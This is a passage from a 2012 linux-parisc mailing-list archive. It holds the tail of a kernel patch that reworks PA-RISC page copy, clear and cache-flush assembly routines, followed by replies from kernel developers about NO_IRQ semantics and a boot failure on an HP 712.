+	std		%r0, 88(%r26)
+	std		%r0, 96(%r26)
+	std		%r0, 104(%r26)
+	std		%r0, 112(%r26)
+	std		%r0, 120(%r26)
+
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
+
+	/*
+	 * Note that until (if) we start saving the full 64-bit register
+	 * values on interrupt, we can't use std on a 32 bit kernel.
+	 */
+	ldi		(PAGE_SIZE / 64), %r1
+
+1:
+	stw		%r0, 0(%r26)
+	stw		%r0, 4(%r26)
+	stw		%r0, 8(%r26)
+	stw		%r0, 12(%r26)
+	stw		%r0, 16(%r26)
+	stw		%r0, 20(%r26)
+	stw		%r0, 24(%r26)
+	stw		%r0, 28(%r26)
+	stw		%r0, 32(%r26)
+	stw		%r0, 36(%r26)
+	stw		%r0, 40(%r26)
+	stw		%r0, 44(%r26)
+	stw		%r0, 48(%r26)
+	stw		%r0, 52(%r26)
+	stw		%r0, 56(%r26)
+	stw		%r0, 60(%r26)
+
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		64(%r26), %r26
+#endif
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
+ENDPROC(clear_page_asm)
+
+/* Copy page using kernel mapping.  */
+
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -285,18 +432,14 @@ ENTRY(copy_user_page_asm)
 #ifdef CONFIG_64BIT
 	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
 	 * Unroll the loop by hand and arrange insn appropriately.
-	 * GCC probably can do this just as well.
+	 * Prefetch doesn't improve performance on rp3440.
+	 * GCC probably can do this just as well...
 	 */
 
-	ldd		0(%r25), %r19
 	ldi		(PAGE_SIZE / 128), %r1
 
-	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
-	ldw		128(%r25), %r0		/* prefetch 2 */
-
-1:	ldd		8(%r25), %r20
-	ldw		192(%r25), %r0		/* prefetch 3 */
-	ldw		256(%r25), %r0		/* prefetch 4 */
+1:	ldd		0(%r25), %r19
+	ldd		8(%r25), %r20
 
 	ldd		16(%r25), %r21
 	ldd		24(%r25), %r22
@@ -330,20 +473,16 @@ ENTRY(copy_user_page_asm)
 
 	ldd		112(%r25), %r21
 	ldd		120(%r25), %r22
+	ldo		128(%r25), %r25
 	std		%r19, 96(%r26)
 	std		%r20, 104(%r26)
 
-	ldo		128(%r25), %r25
 	std		%r21, 112(%r26)
 	std		%r22, 120(%r26)
-	ldo		128(%r26), %r26
 
-	/* conditional branches nullify on forward taken branch, and on
-	 * non-taken backward branch. Note that .+4 is a backwards branch.
-	 * The ldd should only get executed if the branch is taken.
-	 */
-	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
-	ldd		0(%r25), %r19		/* start next loads */
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
 
 #else
 
@@ -399,7 +538,7 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,8 +561,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
-
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -435,6 +572,7 @@ ENDPROC(copy_user_page_asm)
 	 * use it if more information is passed into copy_user_page().
 	 * Have to do some measurements to see if it is worthwhile to
 	 * lobby for such a change.
+	 *
 	 */
 
 ENTRY(copy_user_page_asm)
@@ -442,16 +580,21 @@ ENTRY(copy_user_page_asm)
 	.callinfo NO_CALLS
 	.entry
 
+	/* Convert virtual `to' and `from' addresses to physical addresses.
+	   Move `from' physical address to non shadowed register.  */
 	ldil		L%(__PAGE_OFFSET), %r1
 	sub		%r26, %r1, %r26
-	sub		%r25, %r1, %r23		/* move physical addr into non shadowed reg */
+	sub		%r25, %r1, %r23
 
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+#endif
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -466,10 +609,76 @@ ENTRY(copy_user_page_asm)
 
 	/* Purge any old translations */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+	pdtlb,l		0(%r29)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
-	ldi		64, %r1
+#ifdef CONFIG_64BIT
+	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 */
+
+	ldd		0(%r29), %r19
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:	ldd		8(%r29), %r20
+
+	ldd		16(%r29), %r21
+	ldd		24(%r29), %r22
+	std		%r19, 0(%r28)
+	std		%r20, 8(%r28)
+
+	ldd		32(%r29), %r19
+	ldd		40(%r29), %r20
+	std		%r21, 16(%r28)
+	std		%r22, 24(%r28)
+
+	ldd		48(%r29), %r21
+	ldd		56(%r29), %r22
+	std		%r19, 32(%r28)
+	std		%r20, 40(%r28)
+
+	ldd		64(%r29), %r19
+	ldd		72(%r29), %r20
+	std		%r21, 48(%r28)
+	std		%r22, 56(%r28)
+
+	ldd		80(%r29), %r21
+	ldd		88(%r29), %r22
+	std		%r19, 64(%r28)
+	std		%r20, 72(%r28)
+
+	ldd		 96(%r29), %r19
+	ldd		104(%r29), %r20
+	std		%r21, 80(%r28)
+	std		%r22, 88(%r28)
+
+	ldd		112(%r29), %r21
+	ldd		120(%r29), %r22
+	std		%r19, 96(%r28)
+	std		%r20, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r21, 112(%r28)
+	std		%r22, 120(%r28)
+	ldo		128(%r28), %r28
+
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
+	ldd		0(%r29), %r19		/* start next loads */
+
+#else
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,9 +689,7 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
+1:	ldw		0(%r29), %r19
 	ldw		4(%r29), %r20
 	ldw		8(%r29), %r21
 	ldw		12(%r29), %r22
@@ -515,8 +722,10 @@ ENTRY(copy_user_page_asm)
 	stw		%r21, 56(%r28)
 	stw		%r22, 60(%r28)
 	ldo		64(%r28), %r28
+
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+#endif
 
 	bv		%r0(%r2)
 	nop
@@ -524,9 +733,8 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -550,7 +758,13 @@ ENTRY(__clear_user_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
@@ -580,8 +794,7 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
-	stw		%r0, 0(%r28)
+1:	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
@@ -606,7 +819,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_dcache_page_asm)
 	.proc
@@ -630,7 +843,13 @@ ENTRY(flush_dcache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r1
@@ -663,8 +882,17 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		%r1(%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pdtlb		(%r25)
+	nop
 	.exit
 
 	.procend
@@ -692,7 +920,13 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pitlb,l		%r0(%sr0,%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pitlb		(%sr0,%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -725,8 +959,17 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%r28)
 
 	sync
-	bv		%r0(%r2)
+
+#ifdef CONFIG_PA20
+	pitlb,l		%r0(%sr0,%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pitlb		(%sr0,%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
+	bv		%r0(%r2)
+	nop
 	.exit
 
 	.procend
@@ -775,7 +1018,7 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.procend
 ENDPROC(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page)
+ENTRY(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -815,7 +1058,7 @@ ENTRY(purge_kernel_dcache_page)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page)
+ENDPROC(purge_kernel_dcache_page_asm)
 
 ENTRY(flush_user_dcache_range_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index a7bb757..25835d8 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -158,5 +158,6 @@ extern void _mcount(void);
 EXPORT_SYMBOL(_mcount);
 #endif
 
-/* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+/* from pacache.S -- needed for clear/copy_page */
+EXPORT_SYMBOL(clear_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 12c1ed3..5dd1059 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -314,7 +314,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #if DEBUG_SIG
 	/* Assert that we're flushing in the correct space... */
 	{
-		int sid;
+		unsigned long sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
 		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
 		       sid, frame->tramp);
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..f0cb56e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 

--------------030502030704090705020604--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Wed, 9 May 2012 10:38:30 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <CAP6odjhVK0PjXQ_vLbK2dWs4CnnxJwmhcDPDV=qLJmxBMBBDJQ@mail.gmail.com>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
	<20120505115851.1fecbe50@pyramind.ukuu.org.uk>
	<Pine.LNX.4.64.1205051448400.2623@file.rdu.redhat.com>
	<20120506132413.28499956@pyramind.ukuu.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1336585118 28389 80.91.229.3 (9 May 2012 17:38:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 17:38:38 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 09 19:38:34 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSAqP-0005Sm-HV
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 May 2012 19:38:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755582Ab2EIRic convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 13:38:32 -0400
Original-Received: from mail-wg0-f44.google.com ([74.125.82.44]:44886 "EHLO
	mail-wg0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754386Ab2EIRic convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 13:38:32 -0400
Original-Received: by wgbdr13 with SMTP id dr13so581347wgb.1
        for <multiple recipients>; Wed, 09 May 2012 10:38:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        bh=8NpyjMd4pbE0/HTkGXJU5xZ6bnRwERNCC3PzqZJocFk=;
        b=MNsI8BDTJhXeFUCVdrQTL56TBtcFW0zHkfoQZmJsH3an2hLvbMzJ7nZGBp7KJfX3/U
         jUWvLFOJnu0670uaMWuHV4RRw//TZcmrIkgHa3dS8eCJMBy1z8fMigVa9zZvcpOzcIHg
         q5wE+I/c2Dvo+BpdBpMWHKucn6V39A3gZAJYksFq2sqVguPTF7zaowzpP9DCCLi2IyBm
         fBtHwR/MBXngsvSMiR90i5RHriloyTjDcL161kF+LB+0hgE1jiaXerMXnuhCNQddYdTY
         O155B+loa7ryuplGB2qENqByRKUaWA0k99jbWvj1dCe1fI9RFN7yBfJsE1/8uR2EF+Et
         Lv3A==
Original-Received: by 10.180.82.136 with SMTP id i8mr2220736wiy.19.1336585110819; Wed,
 09 May 2012 10:38:30 -0700 (PDT)
Original-Received: by 10.227.36.6 with HTTP; Wed, 9 May 2012 10:38:30 -0700 (PDT)
In-Reply-To: <20120506132413.28499956@pyramind.ukuu.org.uk>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4330 gmane.linux.kernel:1294364
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4330>

On Sun, May 6, 2012 at 5:24 AM, Alan Cox <alan@lxorguk.ukuu.org.uk> wro=
te:
>> What NO_IRQ problem do you mean? There is
>> #define NO_IRQ =A0 =A0 =A0 =A0 =A0(-1)
>> in arch/parisc/include/asm/irq.h.
>
> It should be zero ready for us to get rid of it. Aa far as I can tell
> pa-risc can just move to 0 without anything breaking. In fact some st=
uff
> like serial port polling on 8250 ports will begin to work if it's don=
e.

Alan,
Didn't this patch of yours go in?
    http://www.spinics.net/lists/linux-parisc/msg03894.html

And it's amusing to read linus' previous rants on this issue from 2005:
    http://lkml.indiana.edu/hypermail/linux/kernel/0511.2/1720.html
    http://lkml.indiana.edu/hypermail/linux/kernel/0511.2/1741.html
    http://lkml.indiana.edu/hypermail/linux/kernel/0511.2/1845.html

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Wed, 9 May 2012 10:51:06 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <CA+55aFwiLp1z+2mzkrFsid1WZQ0TQkcn8F2E6NL_AVR+m1fZ2w@mail.gmail.com>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
 <20120505115851.1fecbe50@pyramind.ukuu.org.uk> <Pine.LNX.4.64.1205051448400.2623@file.rdu.redhat.com>
 <CA+55aFy2O8KcLC-yGCG2ZRpCpAdZ_T7z-sSme4fMrXG=YNAAhA@mail.gmail.com> <Pine.LNX.4.64.1205082259350.16707@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1336585893 2922 80.91.229.3 (9 May 2012 17:51:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 17:51:33 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 09 19:51:30 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSB2v-0002rE-NV
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 May 2012 19:51:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758511Ab2EIRv3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 13:51:29 -0400
Original-Received: from mail-we0-f174.google.com ([74.125.82.174]:38465 "EHLO
	mail-we0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758335Ab2EIRv2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 13:51:28 -0400
Original-Received: by werb10 with SMTP id b10so407739wer.19
        for <multiple recipients>; Wed, 09 May 2012 10:51:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        bh=FPK6MHSXf3crWRvSkr39nfD5lpxYLqoBPWbkwmNeFvg=;
        b=ofATFk96Qen1mV4khxdQdb5CefJwsAtZYWfMsTCBZlUAYoqe4Q1RRFtw3QL+ej8Osn
         uaEXk254TkVeed5RIEt4x4ON6nMn4phrxhefc/yURSnhLOxde1l8luxfPY2PJ9TCezIe
         S0t/8UDfiK364iml8FAFJSR9OWy6+l+emY8dJVzIfde94YAnkHVNr6XYv635kFyIQF8n
         rT0jB7h+dEp/5S6qdfYby2oDpioLO9zEjpUEQCCpW2ZPwJiuJV1VMJjoZ97k2HdHnhzQ
         e9kUntKU/i45M5ZcBR/VhPAXs11ijcY+Isg2PbEb8Y7iVAKUOnKPcvd0lh49EnowW2kZ
         OWOA==
Original-Received: by 10.180.20.137 with SMTP id n9mr2707288wie.3.1336585887125; Wed,
 09 May 2012 10:51:27 -0700 (PDT)
Original-Received: by 10.223.120.208 with HTTP; Wed, 9 May 2012 10:51:06 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.64.1205082259350.16707@file.rdu.redhat.com>
X-Google-Sender-Auth: 8QPIICG2HEhdT4mGMIQ3VFA7x7k
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4331 gmane.linux.kernel:1294383
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4331>

On Tue, May 8, 2012 at 8:20 PM, Mikulas Patocka <mpatocka@redhat.com> wrote:
>>
>> Switching it to zero and testing that things still work would be appreciated.
>
> It works, but there is plenty of interrupt controllers on PC-RISC and I
> can only test it on C8000 with IO-SAPIC. I don't know if irq 0 is used on
> some PA-RISC interrupt controller. It would be best if James Bottomley
> tests it on his set of machines.

Heh. It sounds like we have more PA-RISC machines than we have actual users.

> And what about x86? --- irq 0 is used for timer and there is
> void __init setup_default_timer_irq(void)
> {
>        setup_irq(0, &irq0);
> }
> in arch/x86/kernel/time.c.

That's fine. There's no "irq" variable associated with it that people
can test. No driver will ever see an irq number of zero, no dynamic
irq code will ever see the zero.

So x86 rules have always been that the way drivers etc test for irq
existence has always been "irq 0 means no irq". Despite the fact that
it internally uses irq0 for its own nefarious uses.

                    Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vincent <vincent.stehle@laposte.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 09 May 2012 23:00:45 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <4FAADAFD.1000000@bergerie>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336597271 27774 80.91.229.3 (9 May 2012 21:01:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 21:01:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 09 23:01:11 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSE0Q-0002HC-4T
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 May 2012 23:01:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758278Ab2EIVBF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 17:01:05 -0400
Original-Received: from smtp4-g21.free.fr ([212.27.42.4]:47833 "EHLO smtp4-g21.free.fr"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758067Ab2EIVBE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 17:01:04 -0400
X-Greylist: delayed 82852 seconds by postgrey-1.27 at vger.kernel.org; Wed, 09 May 2012 17:01:02 EDT
Original-Received: from romuald.bergerie (unknown [82.228.252.113])
	by smtp4-g21.free.fr (Postfix) with ESMTP id C120D4C8129
	for <linux-parisc@vger.kernel.org>; Wed,  9 May 2012 23:00:54 +0200 (CEST)
Original-Received: by romuald.bergerie (Postfix, from userid 65534)
	id E1691120041; Wed,  9 May 2012 23:00:50 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on romuald.bergerie
X-Spam-Level: 
X-Spam-Status: No, score=-0.8 required=5.0 tests=ALL_TRUSTED,FH_FROMEML_NOTLD
	autolearn=no version=3.3.1
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by romuald.bergerie (Postfix) with ESMTPS id C263C120041;
	Wed,  9 May 2012 23:00:45 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120329 Icedove/10.0.3
In-Reply-To: <41786065.U2qKzXR3uX@donald.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4332
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4332>

On 05/09/2012 08:53 AM, Rolf Eike Beer wrote:
> See the mail thread "Boot error using 3.2.1: swapper (pid 1): Illegal 
> instruction (code 8)" I started when I first hit this on my 705.

I agree; this is the same issue, and you pointed at the same "culprit"
commit already. Too bad I did not search the ML archive enough.

V.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vincent <vincent.stehle@laposte.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 09 May 2012 23:14:18 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <4FAADE2A.9080803@bergerie>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336598076 1723 80.91.229.3 (9 May 2012 21:14:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 21:14:36 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 09 23:14:34 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSEDO-0007s8-G7
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 May 2012 23:14:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758690Ab2EIVOa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 17:14:30 -0400
Original-Received: from smtp4-g21.free.fr ([212.27.42.4]:42844 "EHLO smtp4-g21.free.fr"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758678Ab2EIVO3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
